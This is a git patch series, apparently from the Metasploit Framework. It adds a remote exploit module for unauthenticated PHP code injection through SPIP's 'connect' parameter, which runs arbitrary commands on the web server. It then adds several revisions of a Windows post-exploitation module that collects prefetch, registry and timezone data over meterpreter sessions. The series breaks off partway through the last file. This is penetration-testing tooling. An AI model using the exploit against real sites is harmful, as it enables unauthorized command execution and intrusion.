b/modules/exploits/linux/http/spip_connect_exec.rb new file mode 100644 index 0000000000000..2175d1f04c850 --- /dev/null +++ b/modules/exploits/linux/http/spip_connect_exec.rb @@ -0,0 +1,99 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'base64' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SPIP Connect Parameter Injection', + 'Description' => %q{ + This module exploits a PHP code injection in SPIP. The vulnerability + exists in the connect parameter and allows an unauthenticated user + to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned. + Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3. + The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora. + }, + 'Author' => + [ + 'Arnaud Pachot', #Initial discovery + 'Davy Douhine and Frederic Cikala', #PoC + 'Davy Douhine', #MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'BID', '54292' ], + [ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Space' => 1024, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + } + }, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 04 2012')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']), + ], self.class) + end + + def exploit + uri = normalize_uri(target_uri.path, 'spip.php') + print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) + + # Very dirty trick ! + # The SPIP server answers an HTML page which contains the ouput of the executed command on target. + # To easily extract the command output a header and a trailer are used. + # Then the whole thing (header + CMD + trailer) is base64 encoded to avoid spaces/special char filtering + # The header and the trailer will then be used to display the result (print_status) + # Rex::Text.encode_base64() instead? + cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456-\";") + + # Another dirty trick ! + # A character is added in the trailer to make the cmd64 string longer and avoid SPIP "=" filtering. + if cmd64.include?("=") + cmd64 = Rex::Text.encode_base64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456--\";") + end + + # The (trivial) vuln + data_cmd = "connect=?>" + + begin + print_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'data' => data_cmd + }) + if (res) + # Extracting the output of the executed command (using the dirty trick) + result = res.body.to_s.split("-123-").last.to_s.split("-456-").first + print_status("Output: #{result}") + end + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end +end From caf4ba9275947027ed9e69b8defef1b67644fd04 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Fri, 12 Jul 2013 17:35:58 +0300 Subject: [PATCH 035/454] testing --- test/tests/testfile.txt | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 test/tests/testfile.txt diff --git a/test/tests/testfile.txt b/test/tests/testfile.txt new file mode 100644 index 0000000000000..e69de29bb2d1d From cef21908f40f2292ceb86b48331a93ae1a23ea85 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Fri, 12 Jul 2013 17:41:04 +0300 Subject: [PATCH 036/454] Delete testfile.txt --- test/tests/testfile.txt | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 test/tests/testfile.txt diff --git a/test/tests/testfile.txt b/test/tests/testfile.txt deleted file mode 100644 index e69de29bb2d1d..0000000000000 From 5692cde57a5a57a5da065c87d1e8763549bc735e Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Fri, 12 Jul 2013 21:19:44 +0300 Subject: [PATCH 037/454] Initial transfer --- .../post/windows/gather/prefetch_gather.rb | 183 ++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 modules/post/windows/gather/prefetch_gather.rb diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb new file mode 100644 index 0000000000000..d1b00f8c0c719 --- /dev/null +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -0,0 +1,183 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' + + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Prefetch File Information', + 'Description' => %q{ Gathers information from Windows Prefetch files.}, + 'License' => MSF_LICENSE, + 'Author' => ['jiuweigui '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + + end + + + + + # Checks if Prefetch registry key exists and what value it has. + + + def prefetch_key_value() + + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + key_value = reg_key.query_value("EnablePrefetcher").data + + + print_status("EnablePrefetcher Value: #{key_value}") + + if key_value == 0 + print_error("(0) = Disabled (Non-Default).") + elsif key_value == 1 + print_good("(1) = Application launch prefetching enabled (Non-Default).") + elsif key_value == 2 + print_good("(2) = Boot prefetching enabled (Non-Default).") + elsif key_value == 3 + print_good("(3) = Applaunch and boot enabled (Default Value).") + else + print_error("No proper value.") + + end + + end + + + + def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + + # This function seeks and gathers information from specific offsets. + + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + + if h['GetLastError'] != 0 + + print_error("Error opening a file handle.") + return nil + else + + handle = h['return'] + + # Looks for the FILENAME offset + + client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + x = name['lpBuffer'] + pname = x.slice(0..x.index("\x00\x00")) + + # Finds the run count from the prefetch file + + client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) + count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + prun = count['lpBuffer'].unpack('L*') + + + # Looks for the FILETIME offset / WORKS, sort of at least.. + # Need to find a way to convert FILETIME to LOCAL TIME etc... + client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) + tm1 = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) + time1 = tm1['lpBuffer'] + time = time1.unpack('h*')[0].reverse.to_i(16) + + + # Finding the HASH + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) + hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + y = hh['lpBuffer'] + hash = y.unpack('h*')[0].reverse + + + print_line("%20s\t %8s\t %08s\t %-60s\t\t %s" % [time,prun[0], hash, pname, filename[20..-1]]) + + + client.railgun.kernel32.CloseHandle(handle) + + end + + end + + + + def run + + print_status("Searching for Prefetch Hive Value.") + + if not is_admin? + + print_error("You don't have enough privileges. Try getsystem.") + end + + + begin + + + sysnfo = client.sys.config.sysinfo['OS'] + + # Check to see what Windows Version is running. + # Needed for offsets. + + if sysnfo =~/(Windows XP|2003)/ + + print_status("Detected Windows XP/2003") + + name_offset = 0x10 # Offset for EXE name in XP / 2003 + hash_offset = 0x4C # Offset for hash in XP / 2003 + lastrun_offset = 0x78 # Offset for LastRun in XP / 2003 + runcount_offset = 0x90 # Offset for RunCount in XP / 2003 + else + print_error("No offsets for the target Windows version.") + + end + + + + prefetch_key_value + + + + + # FIX: Needs to add a check if the path is found or not + + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") + full_path = sysroot + "\\Prefetch\\" + file_type = "*.pf" + + print_line("\n\tFiletime\tRunCount\tHash\t\tFilename (from prefetch file)\t\t\t\t\tFilename (from prefetch directory)\n") + + + getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) + getfile_prefetch_filenames.each do |file| + if file.empty? or file.nil? + + print_error("No files or not enough privileges.") + else + filename = File.join(file['path'], file['name']) + + gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + end + + end + + end + + + + print_good("Finished gathering information from prefetch files.") + + + + + end +end From ce8f3d2a62785fa6dfbde7002edfdd68be8e6b54 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Fri, 12 Jul 2013 23:29:54 +0300 Subject: [PATCH 038/454] Tested on XP and Win7. Works, needs just Filetime convert --- .../post/windows/gather/prefetch_gather.rb | 38 ++++++++++++------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb index d1b00f8c0c719..058e3bc511099 100644 --- a/modules/post/windows/gather/prefetch_gather.rb +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'Windows Gather Prefetch File Information', + 'Name' => 'Prefetch Tool', 'Description' => %q{ Gathers information from Windows Prefetch files.}, 'License' => MSF_LICENSE, - 'Author' => ['jiuweigui '], + 'Author' => ['Timo Glad '], 'Platform' => ['win'], 'SessionType' => ['meterpreter'] )) @@ -68,14 +68,14 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen return nil else - handle = h['return'] + handle = h['return'] - # Looks for the FILENAME offset + # Looks for the FILENAME offset - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")) + pname = x.slice(0..x.index("\x00\x00")) # Finds the run count from the prefetch file @@ -84,19 +84,19 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen prun = count['lpBuffer'].unpack('L*') - # Looks for the FILETIME offset / WORKS, sort of at least.. - # Need to find a way to convert FILETIME to LOCAL TIME etc... - client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) + # Looks for the FILETIME offset / WORKS, sort of at least.. + # Need to find a way to convert FILETIME to LOCAL TIME etc... + client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) tm1 = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) time1 = tm1['lpBuffer'] - time = time1.unpack('h*')[0].reverse.to_i(16) + time = time1.unpack('h*')[0].reverse.to_i(16) - # Finding the HASH + # Finding the HASH client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) y = hh['lpBuffer'] - hash = y.unpack('h*')[0].reverse + hash = y.unpack('h*')[0].reverse print_line("%20s\t %8s\t %08s\t %-60s\t\t %s" % [time,prun[0], hash, pname, filename[20..-1]]) @@ -117,6 +117,7 @@ def run if not is_admin? print_error("You don't have enough privileges. Try getsystem.") + return nil end @@ -136,9 +137,19 @@ def run hash_offset = 0x4C # Offset for hash in XP / 2003 lastrun_offset = 0x78 # Offset for LastRun in XP / 2003 runcount_offset = 0x90 # Offset for RunCount in XP / 2003 + + + elsif sysnfo =~/(Windows 7)/ # Offsets for Win7, should work on Vista too but couldn't test it. + + print_status("Detected Windows 7") + + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x80 + runcount_offset = 0x98 else print_error("No offsets for the target Windows version.") - + return nil end @@ -162,6 +173,7 @@ def run if file.empty? or file.nil? print_error("No files or not enough privileges.") + return nil else filename = File.join(file['path'], file['name']) From 84f30b23790e5a2e259ab1c2a2c786069b010a66 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Fri, 12 Jul 2013 23:31:52 +0300 Subject: [PATCH 039/454] Works. Needs just FILETIME converter --- modules/post/windows/gather/prefetch_gather.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb index 058e3bc511099..09fd73b0c7318 100644 --- a/modules/post/windows/gather/prefetch_gather.rb +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -15,10 +15,10 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => 'Prefetch Tool', + 'Name' => 'Windows Gather Prefetch File Information', 'Description' => %q{ Gathers information from Windows Prefetch files.}, 'License' => MSF_LICENSE, - 'Author' => ['Timo Glad '], + 'Author' => ['jiuweigui '], 'Platform' => ['win'], 'SessionType' => ['meterpreter'] )) From 1f10d1ca05bfbf60723662ec3ada15dfd8e89b2f Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sat, 13 Jul 2013 13:24:08 +0300 Subject: [PATCH 040/454] Done. Needs final cleanup and rewrite. --- .../post/windows/gather/prefetch_gather.rb | 79 +++++++++---------- 1 file changed, 37 insertions(+), 42 deletions(-) diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb index 09fd73b0c7318..46eaea3cd9c16 100644 --- a/modules/post/windows/gather/prefetch_gather.rb +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' - +require 'time' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv @@ -16,9 +16,9 @@ class Metasploit3 < Msf::Post def initialize(info={}) super(update_info(info, 'Name' => 'Windows Gather Prefetch File Information', - 'Description' => %q{ Gathers information from Windows Prefetch files.}, + 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, 'License' => MSF_LICENSE, - 'Author' => ['jiuweigui '], + 'Author' => ['TJ Glad '], 'Platform' => ['win'], 'SessionType' => ['meterpreter'] )) @@ -26,8 +26,6 @@ def initialize(info={}) end - - # Checks if Prefetch registry key exists and what value it has. @@ -48,13 +46,15 @@ def prefetch_key_value() elsif key_value == 3 print_good("(3) = Applaunch and boot enabled (Default Value).") else - print_error("No proper value.") + print_error("No proper value set so information should be taken with a grain of salt.") end end - + + + def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) @@ -62,7 +62,7 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) - if h['GetLastError'] != 0 + if h['GetLastError'] != 0 print_error("Error opening a file handle.") return nil @@ -70,39 +70,35 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen handle = h['return'] - # Looks for the FILENAME offset - + # Finds the filename from the prefetch file. client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) x = name['lpBuffer'] pname = x.slice(0..x.index("\x00\x00")) - # Finds the run count from the prefetch file - + # Finds the run count from the prefetch file client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) prun = count['lpBuffer'].unpack('L*') - # Looks for the FILETIME offset / WORKS, sort of at least.. - # Need to find a way to convert FILETIME to LOCAL TIME etc... + # Finds the FILETIME offset and converts it. client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) - tm1 = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) - time1 = tm1['lpBuffer'] - time = time1.unpack('h*')[0].reverse.to_i(16) - + tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) + time1 = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) + time2 = ((time1.to_i - 116444556000000000) / 10000000) + ptime = Time.at(time2).to_datetime - # Finding the HASH + # Finds the hash. client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - y = hh['lpBuffer'] - hash = y.unpack('h*')[0].reverse + phash = hh['lpBuffer'].unpack('h*')[0].reverse - print_line("%20s\t %8s\t %08s\t %-60s\t\t %s" % [time,prun[0], hash, pname, filename[20..-1]]) + print_line("%s\t %s\t\t %08s\t %-29s" % [ptime, prun[0], phash, pname]) - client.railgun.kernel32.CloseHandle(handle) + client.railgun.kernel32.CloseHandle(handle) end @@ -128,44 +124,42 @@ def run # Check to see what Windows Version is running. # Needed for offsets. - - if sysnfo =~/(Windows XP|2003)/ + # Tested on WinXP and Win7 systems. Should work on WinVista & Win2k3.. + # http://www.forensicswiki.org/wiki/Prefetch + # http://www.forensicswiki.org/wiki/Windows_Prefetch_File_Format - print_status("Detected Windows XP/2003") + if sysnfo =~/(Windows XP)/ # Offsets for WinXP - name_offset = 0x10 # Offset for EXE name in XP / 2003 - hash_offset = 0x4C # Offset for hash in XP / 2003 - lastrun_offset = 0x78 # Offset for LastRun in XP / 2003 - runcount_offset = 0x90 # Offset for RunCount in XP / 2003 + print_status("Detected Windows XP") + name_offset = 0x10 + hash_offset = 0x4C + lastrun_offset = 0x78 + runcount_offset = 0x90 - - elsif sysnfo =~/(Windows 7)/ # Offsets for Win7, should work on Vista too but couldn't test it. + elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 print_status("Detected Windows 7") - name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x80 runcount_offset = 0x98 + else + print_error("No offsets for the target Windows version.") + return nil end - prefetch_key_value - - - - # FIX: Needs to add a check if the path is found or not sysroot = client.fs.file.expand_path("%SYSTEMROOT%") full_path = sysroot + "\\Prefetch\\" file_type = "*.pf" - print_line("\n\tFiletime\tRunCount\tHash\t\tFilename (from prefetch file)\t\t\t\t\tFilename (from prefetch directory)\n") + print_line("\nLatest Run Time\t\t\tRun Count\tHash\t\tFilename\n") getfile_prefetch_filenames = client.fs.file.search(full_path,file_type,recurse=false,timeout=-1) @@ -173,11 +167,15 @@ def run if file.empty? or file.nil? print_error("No files or not enough privileges.") + return nil + else + filename = File.join(file['path'], file['name']) gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + end end @@ -185,11 +183,8 @@ def run end - print_good("Finished gathering information from prefetch files.") - - end end From 45d49cdfe5fc02d1ddd3bc98b594885dfc2192bc Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sat, 13 Jul 2013 20:03:08 +0300 Subject: [PATCH 041/454] Time conversion broken, otherwise works. --- .../post/windows/gather/prefetch_gather.rb | 47 ++++++++++--------- 1 file changed, 24 insertions(+), 23 deletions(-) diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb index 46eaea3cd9c16..2337044fe322f 100644 --- a/modules/post/windows/gather/prefetch_gather.rb +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -10,6 +10,7 @@ require 'msf/core/post/windows/registry' require 'time' + class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv @@ -32,29 +33,24 @@ def initialize(info={}) def prefetch_key_value() reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) - key_value = reg_key.query_value("EnablePrefetcher").data + key_value = reg_key.query_value("EnablePrefetcher").data - - print_status("EnablePrefetcher Value: #{key_value}") if key_value == 0 - print_error("(0) = Disabled (Non-Default).") + print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") elsif key_value == 1 - print_good("(1) = Application launch prefetching enabled (Non-Default).") + print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") elsif key_value == 2 - print_good("(2) = Boot prefetching enabled (Non-Default).") + print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") elsif key_value == 3 - print_good("(3) = Applaunch and boot enabled (Default Value).") + print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") else print_error("No proper value set so information should be taken with a grain of salt.") end - + reg_key.close end - - - def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) @@ -83,11 +79,18 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen # Finds the FILETIME offset and converts it. + # The time conversion is currently a bit confusing. + # ATM You have to add/substract your timezone from the + # time it prints out. That time is the one from the pf + # file and represents the time on your timezone + # i.e. if timestamp is 2013-07-13 21:00:13 and i'm on +2 + # then the correct time is 2013-07-13 19:00:13 client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) - time1 = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) - time2 = ((time1.to_i - 116444556000000000) / 10000000) - ptime = Time.at(time2).to_datetime + filetime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) + xtime = ((filetime.to_i - 116444556000000000) / 10000000) + ptime = Time.at(xtime).utc.to_s + # Finds the hash. client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) @@ -95,7 +98,7 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen phash = hh['lpBuffer'].unpack('h*')[0].reverse - print_line("%s\t %s\t\t %08s\t %-29s" % [ptime, prun[0], phash, pname]) + print_line("%s\t\t %s\t\t %08s\t %-29s" % [ptime[0..-4], prun[0], phash, pname]) client.railgun.kernel32.CloseHandle(handle) @@ -108,7 +111,7 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen def run - print_status("Searching for Prefetch Hive Value.") + print_status("Prefetch Gathering started.") if not is_admin? @@ -119,7 +122,6 @@ def run begin - sysnfo = client.sys.config.sysinfo['OS'] # Check to see what Windows Version is running. @@ -130,7 +132,7 @@ def run if sysnfo =~/(Windows XP)/ # Offsets for WinXP - print_status("Detected Windows XP") + print_good("Detected Windows XP") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x78 @@ -138,7 +140,7 @@ def run elsif sysnfo =~/(Windows 7)/ # Offsets for Win7 - print_status("Detected Windows 7") + print_good("Detected Windows 7") name_offset = 0x10 hash_offset = 0x4C lastrun_offset = 0x80 @@ -150,11 +152,10 @@ def run return nil end - - + + print_status("Searching for Prefetch Hive Value.") prefetch_key_value - - + sysroot = client.fs.file.expand_path("%SYSTEMROOT%") full_path = sysroot + "\\Prefetch\\" file_type = "*.pf" From ae60abd05b86706236e009f2d97fbc69588f3ffd Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sat, 13 Jul 2013 20:19:01 +0300 Subject: [PATCH 042/454] Minor changes --- .../post/windows/gather/prefetch_gather.rb | 97 +++++++++---------- 1 file changed, 46 insertions(+), 51 deletions(-) diff --git a/modules/post/windows/gather/prefetch_gather.rb b/modules/post/windows/gather/prefetch_gather.rb index 2337044fe322f..2e3b1beb256ca 100644 --- a/modules/post/windows/gather/prefetch_gather.rb +++ b/modules/post/windows/gather/prefetch_gather.rb @@ -58,66 +58,61 @@ def gather_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filen h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) - if h['GetLastError'] != 0 + if h['GetLastError'] != 0 - print_error("Error opening a file handle.") - return nil - else - - handle = h['return'] - - # Finds the filename from the prefetch file. - client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) - name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) - x = name['lpBuffer'] - pname = x.slice(0..x.index("\x00\x00")) - - # Finds the run count from the prefetch file - client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) - count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - prun = count['lpBuffer'].unpack('L*') - - - # Finds the FILETIME offset and converts it. - # The time conversion is currently a bit confusing. - # ATM You have to add/substract your timezone from the - # time it prints out. That time is the one from the pf - # file and represents the time on your timezone - # i.e. if timestamp is 2013-07-13 21:00:13 and i'm on +2 - # then the correct time is 2013-07-13 19:00:13 - client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) - tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) - filetime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) - xtime = ((filetime.to_i - 116444556000000000) / 10000000) - ptime = Time.at(xtime).utc.to_s - - - # Finds the hash. - client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) - hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) - phash = hh['lpBuffer'].unpack('h*')[0].reverse - - - print_line("%s\t\t %s\t\t %08s\t %-29s" % [ptime[0..-4], prun[0], phash, pname]) - - - client.railgun.kernel32.CloseHandle(handle) - + print_error("Error opening a file handle.") + return nil + else + + handle = h['return'] + + # Finds the filename from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, name_offset, 0, nil) + name = client.railgun.kernel32.ReadFile(handle, 60, 60, 4, nil) + x = name['lpBuffer'] + pname = x.slice(0..x.index("\x00\x00")) + + # Finds the run count from the prefetch file + client.railgun.kernel32.SetFilePointer(handle, runcount_offset, 0, nil) + count = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + prun = count['lpBuffer'].unpack('L*') + + # FIXME: Finds the FILETIME offset and converts it. + # The time conversion is currently a bit confusing. + # ATM You have to add/substract your timezone from the + # time it prints out. That time is the one from the pf + # file and represents the time on your timezone + # i.e. if timestamp is 2013-07-13 21:00:13 and i'm on +2 + # then the correct time is 2013-07-13 19:00:13 + client.railgun.kernel32.SetFilePointer(handle, lastrun_offset, 0, 0) + tm = client.railgun.kernel32.ReadFile(handle, 8, 8, 4, nil) + filetime = tm['lpBuffer'].unpack('h*')[0].reverse.to_i(16) + xtime = ((filetime.to_i - 116444556000000000) / 10000000) + ptime = Time.at(xtime).utc.to_s + + # Finds the hash. + client.railgun.kernel32.SetFilePointer(handle, hash_offset, 0, 0) + hh = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) + phash = hh['lpBuffer'].unpack('h*')[0].reverse + + + print_line("%s\t\t %s\t\t %08s\t %-29s" % [ptime[0..-4], prun[0], phash, pname]) + client.railgun.kernel32.CloseHandle(handle) end end - def run - print_status("Prefetch Gathering started.") + print_status("Prefetch Gathering started.") + + if not is_admin? + + print_error("You don't have enough privileges. Try getsystem.") - if not is_admin? - - print_error("You don't have enough privileges. Try getsystem.") return nil - end + end begin @@ -152,7 +147,7 @@ def run return nil end - + print_status("Searching for Prefetch Hive Value.") prefetch_key_value From 1f27a2b7bdec576a61efe6542be4de539def8b4d Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Sun, 14 Jul 2013 04:32:20 +0300 Subject: [PATCH 043/454] Working version --- modules/post/windows/gather/prefetch_tool.rb | 203 +++++++++++++++++++ 1 file changed, 203 insertions(+) create mode 100644 modules/post/windows/gather/prefetch_tool.rb diff --git a/modules/post/windows/gather/prefetch_tool.rb b/modules/post/windows/gather/prefetch_tool.rb new file mode 100644 index 0000000000000..6cf3879d4a4e0 --- /dev/null +++ b/modules/post/windows/gather/prefetch_tool.rb @@ -0,0 +1,203 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/windows/registry' +require 'time' + + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Gather Prefetch File Information', + 'Description' => %q{This module gathers prefetch file information from WinXP & Win7 systems.}, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad '], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + + end + + + # Checks if Prefetch registry key exists and what value it has. + + + def prefetch_key_value() + + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Session\ Manager\\Memory\ Management\\PrefetchParameters", KEY_READ) + key_value = reg_key.query_value("EnablePrefetcher").data + + if key_value == 0 + print_error("EnablePrefetcher Value: (0) = Disabled (Non-Default).") + elsif key_value == 1 + print_good("EnablePrefetcher Value: (1) = Application launch prefetching enabled (Non-Default).") + elsif key_value == 2 + print_good("EnablePrefetcher Value: (2) = Boot prefetching enabled (Non-Default).") + elsif key_value == 3 + print_good("EnablePrefetcher Value: (3) = Applaunch and boot enabled (Default Value).") + else + print_error("No value or unknown value. Results might vary.") + end + reg_key.close + + end + + def timezone_key_value() + + reg_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation", KEY_READ) + key_value = reg_key.query_value("TimeZoneKeyName").data + + if key_value.empty? or key_value.nil? + + print_line("Couldn't find key/value from registry.") + + else + + print_good("Remote timezone: %s" % key_value) + + end + end + + def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offset, filename) + + # This function seeks and gathers information from specific offsets. + + h = client.railgun.kernel32.CreateFileA(filename, "GENERIC_READ", "FILE_SHARE_DELETE|FILE_SHARE_READ|FILE_SHARE_WRITE", nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0) + + if h['GetLastError'] != 0 + + print_error("Error opening a file handle.") + return nil + else + + handle = h['return'] + + # Finds the filename from the prefetch file + 